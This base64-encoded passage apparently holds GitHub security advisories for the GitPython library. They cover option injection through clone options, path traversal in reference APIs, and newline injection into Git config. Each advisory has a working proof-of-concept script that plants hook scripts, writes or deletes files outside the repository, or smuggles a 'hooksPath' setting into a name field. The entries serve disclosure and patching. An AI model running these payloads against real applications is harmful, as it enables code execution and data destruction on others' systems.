GBgcHl0aG9uCmlmIG9wdGlvbi5zdGFydHN3aXRoKHVuc2FmZV9vcHRpb24pIG9yIG9wdGlvbiA9PSBiYXJlX29wdGlvbjoKYGBgCgpgIi0tYnJhbmNoIG1haW4gLS1jb25maWcgLi4uImAgZG9lcyBub3Qgc3RhcnQgd2l0aCBgIi0tY29uZmlnImAsIHNvIGl0IHBhc3Nlcy4gQWZ0ZXIgYHNobGV4LnNwbGl0YCwgYCItLWNvbmZpZyJgIGJlY29tZXMgaXRzIG93biB0b2tlbiBhbmQgcmVhY2hlcyBnaXQuCgpBbHNvIGFmZmVjdHMgYFN1Ym1vZHVsZS51cGRhdGUoKWAgdmlhIGBjbG9uZV9tdWx0aV9vcHRpb25zYC4KCiMjIyMjIFBvQwoKYGBgcHl0aG9uCmltcG9ydCBzeXMsIHBhdGhsaWIsIHN1YnByb2Nlc3MKc3lzLnBhdGguaW5zZXJ0KDAsIHN0cihwYXRobGliLlBhdGgoX19maWxlX18pLnJlc29sdmUoKS5wYXJlbnQpKQoKZnJvbSBnaXQgaW1wb3J0IFJlcG8KZnJvbSBnaXQuZXhjIGltcG9ydCBVbnNhZmVPcHRpb25FcnJvcgoKdHJ5OgogICAgUmVwby5jbG9uZV9mcm9tKCIvbm9uZXhpc3RlbnQiLCAiL3RtcC94IiwgbXVsdGlfb3B0aW9ucz1bIi0tY29uZmlnIiwgImNvcmUuaG9va3NQYXRoPS94Il0pCmV4Y2VwdCBVbnNhZmVPcHRpb25FcnJvcjoKICAgIHByaW50KCJtdWx0aV9vcHRpb25zPVsnLS1jb25maWcnLCAnLi4uJ106IEJsb2NrIGFzIGV4cGVjdGVkIikKZXhjZXB0IEV4Y2VwdGlvbjoKICAgIHBhc3MKCkRJUiA9IHBhdGhsaWIuUGF0aChfX2ZpbGVfXykucmVzb2x2ZSgpLnBhcmVudCAvICJ3b3JrZGlyX2IiClNSQyA9IERJUiAvICJyZXBvIgpEU1QgPSBESVIgLyAiZHN0IgpIT09LUyA9IERJUiAvICJob29rcyIKTE9HID0gRElSIC8gIm91dHB1dC5sb2ciCgppZiBub3QgU1JDLmV4aXN0cygpOgogICAgU1JDLm1rZGlyKHBhcmVudHM9VHJ1ZSkKICAgIHIgPSBsYW1iZGEgKmE6IHN1YnByb2Nlc3MucnVuKGEsIGN3ZD1TUkMsIGNhcHR1cmVfb3V0cHV0PVRydWUpCiAgICByKCJnaXQiLCAiaW5pdCIsICItYiIsICJtYWluIikKICAgIChTUkMgLyAiZiIpLndyaXRlX3RleHQoInhcbiIpCiAgICByKCJnaXQiLCAiYWRkIiwgIi4iKQogICAgcigiZ2l0IiwgImNvbW1pdCIsICItbSIsICJpbml0IikKCkhPT0tTLm1rZGlyKGV4aXN0X29rPVRydWUpCmhvb2sgPSBIT09LUyAvICJwb3N0LWNoZWNrb3V0Igpob29rLndyaXRlX3RleHQoZiIjIS9iaW4vc2hcbndob2FtaSA+IHtMT0cuYXNfcG9zaXgoKX1cbmhvc3RuYW1lID4+IHtMT0cuYXNfcG9zaXgoKX1cbiIpCmhvb2suY2htb2QoMG83NTUpCgpMT0cudW5saW5rKG1pc3Npbmdfb2s9VHJ1ZSkKcGF5bG9hZCA9ICItLWJyYW5jaCBtYWluIC0tY29uZmlnIGNvcmUuaG9va3NQYXRoPSIgKyBIT09LUy5hc19wb3NpeCgpCgp0cnk6CiAgICBSZXBvLmNsb25lX2Zyb20oc3RyKFNSQyksIHN0cihEU1QpLCBtdWx0aV9vcHRpb25zPVtwYXlsb2FkXSkKZXhjZXB0IFVuc2FmZU9wdGlvbkVycm9yOgogICAgcHJpbnQoZiJtdWx0aV9vcHRpb25zPVsne3BheWxvYWR9J106IEJMT0NLRUQiKTsgc3lzLmV4aXQoMSkKZXhjZXB0IEV4Y2VwdGlvbjoKICAgIHBhc3MKCmlmIG5vdCBMT0cuZXhpc3RzKCkgYW5kIERTVC5leGlzdHMoKToKICAgIHN1YnByb2Nlc3MucnVuKFsiZ2l0IiwgImNoZWNrb3V0IiwgIi0tZm9yY2UiLCAibWFpbiJdLCBjd2Q9RFNULCBjYXB0dXJlX291dHB1dD1UcnVlKQoKcHJpbnQoZiJtdWx0aV9vcHRpb25zPVsne3BheWxvYWR9J106IG5vdCBibG9ja2VkIikKcHJpbnQoZiJcbkhvb2sgZXhlY3V0ZWQ6IHtMT0cuZXhpc3RzKCl9IikKaWYgTE9HLmV4aXN0cygpOgogICAgcHJpbnQoTE9HLnJlYWRfdGV4dCgpLnN0cmlwKCkpCmBgYAoKKipPdXRwdXQ6KioKYGBgCm11bHRpX29wdGlvbnM9WyctLWNvbmZpZycsICcuLi4nXTogQmxvY2sgYXMgZXhwZWN0ZWQKbXVsdGlfb3B0aW9ucz1bJy0tYnJhbmNoIG1haW4gLS1jb25maWcgY29yZS5ob29rc1BhdGg9Li4uL2hvb2tzJ106IG5vdCBibG9ja2VkCgpIb29rIGV4ZWN1dGVkOiBUcnVlCnRleHVnbwpERVNLVE9QLTV3NUhINzkKYGBgCgojIyMjIyBJbXBhY3QKCkFueSBhcHBsaWNhdGlvbiBwYXNzaW5nIHVzZXIgaW5wdXQgdG8gYG11bHRpX29wdGlvbnNgIGluIGBjbG9uZV9mcm9tKClgLCBgY2xvbmUoKWAsIG9yIGBTdWJtb2R1bGUudXBkYXRlKClgIGlzIHZ1bG5lcmFibGUuIEF0dGFja2VyIGVtYmVkcyBgLS1jb25maWcgY29yZS5ob29rc1BhdGg9PGRpcj5gIGluc2lkZSBhIHN0cmluZyBzdGFydGluZyB3aXRoIGEgc2FmZSBvcHRpb24uIENoZWNrIGRvZXMgbm90IGJsb2NrIGl0LiBHaXQgZXhlY3V0ZXMgYXR0YWNrZXIgY29kZS4gU2FtZSBjbGFzcyBhcyBDVkUtMjAyMy00MDI2Ny4KCiMjIyMgU2V2ZXJpdHkKLSBDVlNTIFNjb3JlOiA4LjEgLyAxMCAoSGlnaCkKLSBWZWN0b3IgU3RyaW5nOiBgQ1ZTUzozLjEvQVY6Ti9BQzpIL1BSOk4vVUk6Ti9TOlUvQzpIL0k6SC9BOkhgCgojIyMjIFJlZmVyZW5jZXMKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EteDJxeC02OTUzLTg0ODVdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLXgycXgtNjk1My04NDg1KQotIFtodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00MjI4NF0oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNDIyODQpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS40N10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjQ3KQotIFtodHRwczovL2dpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXgycXgtNjk1My04NDg1XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXgycXgtNjk1My04NDg1KQoKVGhpcyBkYXRhIGlzIHByb3ZpZGVkIGJ5IHRoZSBbR2l0SHViIEFkdmlzb3J5IERhdGFiYXNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXgycXgtNjk1My04NDg1KSAoW0NDLUJZIDQuMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZS9ibG9iL21haW4vTElDRU5TRS5tZCkpLgo8L2RldGFpbHM+CgotLS0KCiMjIyBHaXRQeXRob24gcmVmZXJlbmNlIEFQSXMgaGFzIGEgcGF0aCB0cmF2ZXJzYWwgdnVsbmVyYWJpbGl0eSB0aGF0IGFsbG93cyBhcmJpdHJhcnkgZmlsZSB3cml0ZSBhbmQgZGVsZXRlIG91dHNpZGUgdGhlIHJlcG9zaXRvcnkKW0NWRS0yMDI2LTQ0MjQzXShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00NDI0MykgLyBbR0hTQS03NTQ1LWZjeHEtN2oyNF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS03NTQ1LWZjeHEtN2oyNCkKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCiMjIyMjIPCfp74gU3VtbWFyeQoKQSB2dWxuZXJhYmlsaXR5IGluICoqR2l0UHl0aG9uKiogYWxsb3dzICoqYXR0YWNrZXJzIHdobyBjYW4gc3VwcGx5IGEgY3JhZnRlZCByZWZlcmVuY2UgcGF0aCB0byBhbiBhcHBsaWNhdGlvbiB1c2luZyBHaXRQeXRob24qKiB0byAqKndyaXRlLCBvdmVyd3JpdGUsIG1vdmUsIG9yIGRlbGV0ZSBmaWxlcyBvdXRzaWRlIHRoZSByZXBvc2l0b3J54oCZcyBgLmdpdGAgZGlyZWN0b3J5KiogdmlhICoqaW5zdWZmaWNpZW50IHZhbGlkYXRpb24gb2YgcmVmZXJlbmNlIHBhdGhzIGluIHJlZmVyZW5jZSBjcmVhdGlvbiwgcmVuYW1lLCBhbmQgZGVsZXRlIG9wZXJhdGlvbnMqKi4KCi0tLQoKIyMjIyMg8J+TpiBBZmZlY3RlZCBWZXJzaW9ucwoKKiBBZmZlY3RlZDogYDw9IDMuMS40NmAgYW5kIGN1cnJlbnQgYG1haW5gIChgMy4xLjQ3YCBpbiBsb2NhbCBjaGVja291dCkKCi0tLQoKIyMjIyMg8J+noCBEZXRhaWxzCgojIyMjIyBWdWxuZXJhYmlsaXR5IFR5cGUKCioqUGF0aCBUcmF2ZXJzYWwgbGVhZGluZyB0byBBcmJpdHJhcnkgRmlsZSBXcml0ZSBhbmQgQXJiaXRyYXJ5IEZpbGUgRGVsZXRpb24qKgoKLS0tCgojIyMjIyBSb290IENhdXNlCgpSZWZlcmVuY2UgcGF0aHMgYXJlIHZhbGlkYXRlZCB3aGVuIHRoZXkgYXJlIHJlc29sdmVkIGZvciByZWFkaW5nLCBidXQgYXJlIG5vdCBjb25zaXN0ZW50bHkgdmFsaWRhdGVkIGJlZm9yZSBmaWxlc3lzdGVtIHdyaXRlLCByZW5hbWUsIGFuZCBkZWxldGUgb3BlcmF0aW9ucy4KCmBTeW1ib2xpY1JlZmVyZW5jZS5fY2hlY2tfcmVmX25hbWVfdmFsaWQoKWAgcmVqZWN0cyB0cmF2ZXJzYWwgc2VxdWVuY2VzIHN1Y2ggYXMgYC4uYCwgYnV0IGBTeW1ib2xpY1JlZmVyZW5jZS5jcmVhdGVgLCBgUmVmZXJlbmNlLmNyZWF0ZWAsIGBTeW1ib2xpY1JlZmVyZW5jZS5zZXRfcmVmZXJlbmNlYCwgYFN5bWJvbGljUmVmZXJlbmNlLnJlbmFtZWAsIGFuZCBgU3ltYm9saWNSZWZlcmVuY2UuZGVsZXRlYCBzdGlsbCBjb25zdHJ1Y3QgZmlsZXN5c3RlbSBwYXRocyBmcm9tIGF0dGFja2VyLWNvbnRyb2xsZWQgcmVmIG5hbWVzIHdpdGhvdXQgZW5mb3JjaW5nIHJlcG9zaXRvcnkgYm91bmRhcmllcy4KCi0tLQoKIyMjIyMgQWZmZWN0ZWQgQ29kZQoKYGBgcHl0aG9uCmRlZiBzZXRfcmVmZXJlbmNlKHNlbGYsIHJlZiwgbG9nbXNnPU5vbmUpOgogICAgLi4uCiAgICBmcGF0aCA9IHNlbGYuYWJzcGF0aAogICAgYXNzdXJlX2RpcmVjdG9yeV9leGlzdHMoZnBhdGgsIGlzX2ZpbGU9VHJ1ZSkKCiAgICBsZmQgPSBMb2NrZWRGRChmcGF0aCkKICAgIGZkID0gbGZkLm9wZW4od3JpdGU9VHJ1ZSwgc3RyZWFtPVRydWUpCiAgICAuLi4KYGBgCgpgYGBweXRob24KQCYjODIwMztjbGFzc21ldGhvZApkZWYgZGVsZXRlKGNscywgcmVwbywgcGF0aCk6CiAgICBmdWxsX3JlZl9wYXRoID0gY2xzLnRvX2Z1bGxfcGF0aChwYXRoKQogICAgYWJzX3BhdGggPSBvcy5wYXRoLmpvaW4ocmVwby5jb21tb25fZGlyLCBmdWxsX3JlZl9wYXRoKQogICAgaWYgb3MucGF0aC5leGlzdHMoYWJzX3BhdGgpOgogICAgICAgIG9zLnJlbW92ZShhYnNfcGF0aCkKYGBgCgpgYGBweXRob24KZGVmIHJlbmFtZShzZWxmLCBuZXdfcGF0aCwgZm9yY2U9RmFsc2UpOgogICAgbmV3X3BhdGggPSBzZWxmLnRvX2Z1bGxfcGF0aChuZXdfcGF0aCkKICAgIG5ld19hYnNfcGF0aCA9IG9zLnBhdGguam9pbihfZ2l0X2RpcihzZWxmLnJlcG8sIG5ld19wYXRoKSwgbmV3X3BhdGgpCiAgICBjdXJfYWJzX3BhdGggPSBvcy5wYXRoLmpvaW4oX2dpdF9kaXIoc2VsZi5yZXBvLCBzZWxmLnBhdGgpLCBzZWxmLnBhdGgpCiAgICAuLi4KICAgIG9zLnJlbmFtZShjdXJfYWJzX3BhdGgsIG5ld19hYnNfcGF0aCkKYGBgCgotLS0KCiMjIyMjIEF0dGFjayBWZWN0b3IKCioqTG9jYWwgYXR0YWNrIHRocm91Z2ggYXBwbGljYXRpb24tY29udHJvbGxlZCBpbnB1dCBwYXNzZWQgaW50byBHaXRQeXRob24gcmVmZXJlbmNlIEFQSXMqKgoKIyMjIyMgQXV0aGVudGljYXRpb24gUmVxdWlyZWQKCioqTm9uZSBhdCB0aGUgbGlicmFyeSBib3VuZGFyeS4gSW4gcHJhY3RpY2UsIGV4cGxvaXRhdGlvbiByZXF1aXJlcyB0aGUgYWJpbGl0eSB0byBpbmZsdWVuY2UgcmVmIG5hbWVzIHN1cHBsaWVkIGJ5IHRoZSBjb25zdW1pbmcgYXBwbGljYXRpb24uKioKCi0tLQoKIyMjIyMg8J+nqiBQcm9vZiBvZiBDb25jZXB0CgojIyMjIyBTZXR1cAoKYGBgYmFzaApwaXAgaW5zdGFsbCBHaXRQeXRob249PTMuMS40NgpweXRob24gcG9jLnB5CmBgYAoKLS0tCgojIyMjIyBFeHBsb2l0CgpgYGBweXRob24KaW1wb3J0IHNodXRpbApmcm9tIHBhdGhsaWIgaW1wb3J0IFBhdGgKCmZyb20gZ2l0IGltcG9ydCBSZXBvCmZyb20gZ2l0LnJlZnMucmVmZXJlbmNlIGltcG9ydCBSZWZlcmVuY2UKZnJvbSBnaXQucmVmcy5zeW1ib2xpYyBpbXBvcnQgU3ltYm9saWNSZWZlcmVuY2UKCmJhc2UgPSBQYXRoKCJncC1naHNhLXBvYyIpLnJlc29sdmUoKQppZiBiYXNlLmV4aXN0cygpOgogICAgc2h1dGlsLnJtdHJlZShiYXNlKQoKcmVwb19kaXIgPSBiYXNlIC8gInJlcG8iCnJlcG8gPSBSZXBvLmluaXQocmVwb19kaXIpCgoocmVwb19kaXIgLyAiYS50eHQiKS53cml0ZV90ZXh0KCJpbml0XG4iLCBlbmNvZGluZz0idXRmLTgiKQpyZXBvLmluZGV4LmFkZChbImEudHh0Il0pCnJlcG8uaW5kZXguY29tbWl0KCJpbml0IikKCm91dHNpZGVfd3JpdGUgPSBiYXNlIC8gIm91dHNpZGVfd3JpdGUudHh0IgpvdXRzaWRlX2RlbGV0ZSA9IGJhc2UgLyAib3V0c2lkZV9kZWxldGUudHh0IgpvdXRzaWRlX2RlbGV0ZS53cml0ZV90ZXh0KCJERUxFVEUgTUVcbiIsIGVuY29kaW5nPSJ1dGYtOCIpCgpwcmludChmInJlcG9fZGlyICAgICAgID0ge3JlcG9fZGlyfSIpCnByaW50KGYib3V0c2lkZV93cml0ZSAgPSB7b3V0c2lkZV93cml0ZX0iKQpwcmludChmIm91dHNpZGVfZGVsZXRlID0ge291dHNpZGVfZGVsZXRlfSIpCgpSZWZlcmVuY2UuY3JlYXRlKHJlcG8sICIuLi8uLi8uLi9vdXRzaWRlX3dyaXRlLnR4dCIsICJIRUFEIikKCnByaW50KCJcblsrXSBvdXRzaWRlX3dyaXRlIGV4aXN0czoiLCBvdXRzaWRlX3dyaXRlLmV4aXN0cygpKQppZiBvdXRzaWRlX3dyaXRlLmV4aXN0cygpOgogICAgcHJpbnQoIlsrXSBvdXRzaWRlX3dyaXRlIGNvbnRlbnQ6IikKICAgIHByaW50KG91dHNpZGVfd3JpdGUucmVhZF90ZXh0KGVuY29kaW5nPSJ1dGYtOCIpKQoKU3ltYm9saWNSZWZlcmVuY2UuZGVsZXRlKHJlcG8sICIuLi8uLi8uLi9vdXRzaWRlX2RlbGV0ZS50eHQiKQoKcHJpbnQoIlxuWytdIG91dHNpZGVfZGVsZXRlIGV4aXN0cyBhZnRlciBkZWxldGU6Iiwgb3V0c2lkZV9kZWxldGUuZXhpc3RzKCkpCmBgYAoKLS0tCgojIyMjIyBSZXN1bHQKCmBgYHRleHQKcmVwb19kaXIgICAgICAgPSAuLi5cZ3AtZ2hzYS1wb2NccmVwbwpvdXRzaWRlX3dyaXRlICA9IC4uLlxncC1naHNhLXBvY1xvdXRzaWRlX3dyaXRlLnR4dApvdXRzaWRlX2RlbGV0ZSA9IC4uLlxncC1naHNhLXBvY1xvdXRzaWRlX2RlbGV0ZS50eHQKClsrXSBvdXRzaWRlX3dyaXRlIGV4aXN0czogVHJ1ZQpbK10gb3V0c2lkZV93cml0ZSBjb250ZW50Ogo8Y3VycmVudCBIRUFEIGNvbW1pdCBTSEE+CgpbK10gb3V0c2lkZV9kZWxldGUgZXhpc3RzIGFmdGVyIGRlbGV0ZTogRmFsc2UKYGBgCgotLS0KCiMjIyMjIPCfkqUgSW1wYWN0CgojIyMjIyBXaGF0IGNhbiBhbiBhdHRhY2tlciBkbz8KCiogQ3JlYXRlIG9yIG92ZXJ3cml0ZSBmaWxlcyBvdXRzaWRlIHRoZSByZXBvc2l0b3J5IG1ldGFkYXRhIGRpcmVjdG9yeQoqIERlbGV0ZSBhdHRhY2tlci1jaG9zZW4gZmlsZXMgcmVhY2hhYmxlIGZyb20gdGhlIHByb2Nlc3MgcGVybWlzc2lvbnMKKiBDb3JydXB0IGFwcGxpY2F0aW9uIHN0YXRlIG9yIGNvbmZpZ3VyYXRpb24gZmlsZXMKKiBDYXVzZSBkZW5pYWwgb2Ygc2VydmljZSBieSBkZWxldGluZyBvciBvdmVyd3JpdGluZyBpbXBvcnRhbnQgZmlsZXMKCi0tLQoKIyMjIyMgU2VjdXJpdHkgSW1wYWN0CgoqICoqQ29uZmlkZW50aWFsaXR5OioqIExvdwoqICoqSW50ZWdyaXR5OioqIEhpZ2gKKiAqKkF2YWlsYWJpbGl0eToqKiBIaWdoCgotLS0KCiMjIyMjIFdobyBpcyBhZmZlY3RlZD8KCiogQXBwbGljYXRpb25zIHRoYXQgZXhwb3NlIEdpdFB5dGhvbiByZWZlcmVuY2Ugb3BlcmF0aW9ucyB0byB1c2VyLWNvbnRyb2xsZWQgaW5wdXQKKiBHaXQgYXV0b21hdGlvbiBzZXJ2aWNlcywgcmVwb3NpdG9yeSBtYW5hZ2VtZW50IGJhY2tlbmRzLCBDSS9DRCBoZWxwZXJzLCBhbmQgZGV2ZWxvcGVyIHBsYXRmb3JtcwoqIE11bHRpLXVzZXIgZW52aXJvbm1lbnRzIHdoZXJlIG9uZSB1c2VyIGNhbiBpbmZsdWVuY2UgcmVmIG5hbWVzIHByb2Nlc3NlZCBvbiBiZWhhbGYgb2YgYW5vdGhlciB3b3JrZmxvdwoKLS0tCgojIyMjIyDwn5ug77iPIE1pdGlnYXRpb24gLyBGaXgKCiMjIyMjIFJlY29tbWVuZGVkIEZpeAoKYGBgcHl0aG9uCmRlZiBfdmFsaWRhdGVfcmVmX3dyaXRlX3BhdGgocmVwbywgcGF0aCwgKiwgZm9yX2dpdF9kaXI9RmFsc2UpOgogICAgU3ltYm9saWNSZWZlcmVuY2UuX2NoZWNrX3JlZl9uYW1lX3ZhbGlkKHBhdGgpCgogICAgYmFzZSA9IFBhdGgocmVwby5naXRfZGlyIGlmIGZvcl9naXRfZGlyIGVsc2UgcmVwby5jb21tb25fZGlyKS5yZXNvbHZlKCkKICAgIHRhcmdldCA9IChiYXNlIC8gcGF0aCkucmVzb2x2ZSgpCgogICAgaWYgYmFzZSBub3QgaW4gW3RhcmdldCwgKnRhcmdldC5wYXJlbnRzXToKICAgICAgICByYWlzZSBWYWx1ZUVycm9yKGYiUmVmZXJlbmNlIHBhdGggZXNjYXBlcyByZXBvc2l0b3J5IGJvdW5kYXJ5OiB7cGF0aH0iKQoKICAgIHJldHVybiBzdHIodGFyZ2V0KQpgYGAKCmBgYHB5dGhvbgpmdWxsX3JlZl9wYXRoID0gY2xzLnRvX2Z1bGxfcGF0aChwYXRoKQpfdmFsaWRhdGVfcmVmX3dyaXRlX3BhdGgocmVwbywgZnVsbF9yZWZfcGF0aCkKYGBgCgojIyMjIFNldmVyaXR5Ci0gQ1ZTUyBTY29yZTogNy44IC8gMTAgKEhpZ2gpCi0gVmVjdG9yIFN0cmluZzogYENWU1M6NC4wL0FWOk4vQUM6TC9BVDpOL1BSOk4vVUk6Ti9WQzpOL1ZJOkgvVkE6SC9TQzpOL1NJOk4vU0E6Ti9FOlBgCgojIyMjIFJlZmVyZW5jZXMKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtNzU0NS1mY3hxLTdqMjRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLTc1NDUtZmN4cS03ajI0KQotIFtodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00NDI0M10oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNDQyNDMpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS40OF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjQ4KQotIFtodHRwczovL2dpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLTc1NDUtZmN4cS03ajI0XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLTc1NDUtZmN4cS03ajI0KQoKVGhpcyBkYXRhIGlzIHByb3ZpZGVkIGJ5IHRoZSBbR2l0SHViIEFkdmlzb3J5IERhdGFiYXNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLTc1NDUtZmN4cS03ajI0KSAoW0NDLUJZIDQuMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZS9ibG9iL21haW4vTElDRU5TRS5tZCkpLgo8L2RldGFpbHM+CgotLS0KCiMjIyBHaXRQeXRob246IE5ld2xpbmUgaW5qZWN0aW9uIGluIGNvbmZpZ193cml0ZXIoKS5zZXRfdmFsdWUoKSBlbmFibGVzIFJDRSB2aWEgY29yZS5ob29rc1BhdGgKW0NWRS0yMDI2LTQ0MjQ0XShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00NDI0NCkgLyBbR0hTQS12ODdyLTZxM2YtMmo2N10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS12ODdyLTZxM2YtMmo2NykKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCmBHaXRDb25maWdQYXJzZXIuc2V0X3ZhbHVlKClgIHBhc3NlcyB2YWx1ZXMgdG8gUHl0aG9uJ3MgYGNvbmZpZ3BhcnNlcmAgd2l0aG91dCB2YWxpZGF0aW5nIGZvciBuZXdsaW5lcy4gR2l0UHl0aG9uJ3Mgb3duIGBfd3JpdGUoKWAgY29udmVydHMgZW1iZWRkZWQgbmV3bGluZXMgaW50byBpbmRlbnRlZCBjb250aW51YXRpb24gbGluZXMgKGUuZy4gYFxuYCBiZWNvbWVzIGBcblx0YCksIGJ1dCBHaXQgc3RpbGwgYWNjZXB0cyBhbiBpbmRlbnRlZCBgW2NvcmVdYCBzdGFuemEgYXMgYSBzZWN0aW9uIGhlYWRlciDigJQgc28gdGhlIGluamVjdGVkIGBjb3JlLmhvb2tzUGF0aGAgYmVjb21lcyBlZmZlY3RpdmUgY29uZmlndXJhdGlvbi4gQW55IEdpdCBvcGVyYXRpb24gdGhhdCBpbnZva2VzIGhvb2tzIChjb21taXQsIG1lcmdlLCBjaGVja291dCkgd2lsbCB0aGVuIGV4ZWN1dGUgc2NyaXB0cyBmcm9tIHRoZSBhdHRhY2tlci1jb250cm9sbGVkIHBhdGguCgpUaGUgdnVsbmVyYWJpbGl0eSBpcyBub3QgbWVyZWx5IG1hbGZvcm1lZCBjb25maWcgb3V0cHV0OiBHaXRQeXRob24ncyBvd24gd3JpdGVyIGNvbnZlcnRzIGVtYmVkZGVkIG5ld2xpbmVzIGludG8gaW5kZW50ZWQgY29udGludWF0aW9uIGxpbmVzLCBidXQgR2l0IHN0aWxsIGFjY2VwdHMgYW4gaW5kZW50ZWQgYFtjb3JlXWAgc3RhbnphIGFzIGEgc2VjdGlvbiBoZWFkZXIsIHNvIHRoZSBpbmplY3RlZCBgY29yZS5ob29rc1BhdGhgIGJlY29tZXMgZWZmZWN0aXZlIGNvbmZpZ3VyYXRpb24uCgpUaGlzIHdhcyBmb3VuZCB3aGlsZSBhdWRpdGluZyBNTFJ1bidzIGBwcm9qZWN0LnB1c2goKWAgbWV0aG9kLCB3aGljaCBwYXNzZXMgYGF1dGhvcl9uYW1lYCBhbmQgYGF1dGhvcl9lbWFpbGAgZGlyZWN0bHkgdG8gYGNvbmZpZ193cml0ZXIoKS5zZXRfdmFsdWUoKWAgd2l0aCBubyBzYW5pdGl6YXRpb24uIEJvdGggcGFyYW1ldGVycyBjcm9zcyBhIHRydXN0IGJvdW5kYXJ5IOKAlCB0aGV5IGFyZSBjYWxsZXItc3VwcGxpZWQgQVBJIGlucHV0cyB0aGF0IGVuZCB1cCBpbiBgLmdpdC9jb25maWdgLgoKUG9DIChzdGFuZGFsb25lLCBubyBNTFJ1biByZXF1aXJlZCk6CgpgYGBweXRob24KaW1wb3J0IGdpdCwgc3VicHJvY2Vzcywgb3MKCnJlcG8gPSBnaXQuUmVwbygiL3RtcC90ZXN0cmVwbyIpCgp3aXRoIHJlcG8uY29uZmlnX3dyaXRlcigpIGFzIGN3OgogICAgY3cuc2V0X3ZhbHVlKCJ1c2VyIiwgIm5hbWUiLCAiZm9vXG5bY29yZV1cbmhvb2tzUGF0aD0vdG1wL2hvb2tzIikKCnIgPSBzdWJwcm9jZXNzLnJ1bihbImdpdCIsICJjb25maWciLCAiY29yZS5ob29rc1BhdGgiXSwgY3dkPSIvdG1wL3Rlc3RyZXBvIiwgY2FwdHVyZV9vdXRwdXQ9VHJ1ZSwgdGV4dD1UcnVlKQphc3NlcnQgci5yZXR1cm5jb2RlID09IDAKcHJpbnQoci5zdGRvdXQuc3RyaXAoKSkgICMgL3RtcC9ob29rcwoKb3MubWFrZWRpcnMoIi90bXAvaG9va3MiLCBleGlzdF9vaz1UcnVlKQpvcGVuKCIvdG1wL2hvb2tzL3ByZS1jb21taXQiLCAidyIpLndyaXRlKCIjIS9iaW4vc2hcbmlkID4gL3RtcC9wd25lZFxuIikKb3MuY2htb2QoIi90bXAvaG9va3MvcHJlLWNvbW1pdCIsIDBvNzU1KQoKcmVwby5pbmRleC5hZGQoWyJSRUFETUUiXSkKcmVwby5naXQuY29tbWl0KG09InRlc3QiKQpwcmludChvcGVuKCIvdG1wL3B3bmVkIikucmVhZCgpKSAgIyB1aWQ9Li4uCmBgYAoKVGVzdGVkIG9uIEdpdFB5dGhvbiAzLjEuNDYsIGdpdCAyLjM5Ky4KCkltcGFjdDogVGhpcyBpcyBwZXJzaXN0ZW50IHJlcG8gY29uZmlnIHBvaXNvbmluZy4gQW55IHVzZXIgd2hvIGNhbiBzdXBwbHkgYGF1dGhvcl9uYW1lYCBvciBgYXV0aG9yX2VtYWlsYCB0byBhbiBhcHBsaWNhdGlvbiBjYWxsaW5nIGBjb25maWdfd3JpdGVyKCkuc2V0X3ZhbHVlKClgIGNhbiByZWRpcmVjdCBHaXQgaG9vayBleGVjdXRpb24gdG8gYW4gYXJiaXRyYXJ5IHBhdGguIEluIGEgbXVsdGktdXNlciBvciBob3N0ZWQgZW52aXJvbm1lbnQgKGUuZy4gYSBzaGFyZWQgTUxSdW4gc2VydmVyIHdoZXJlIG11bHRpcG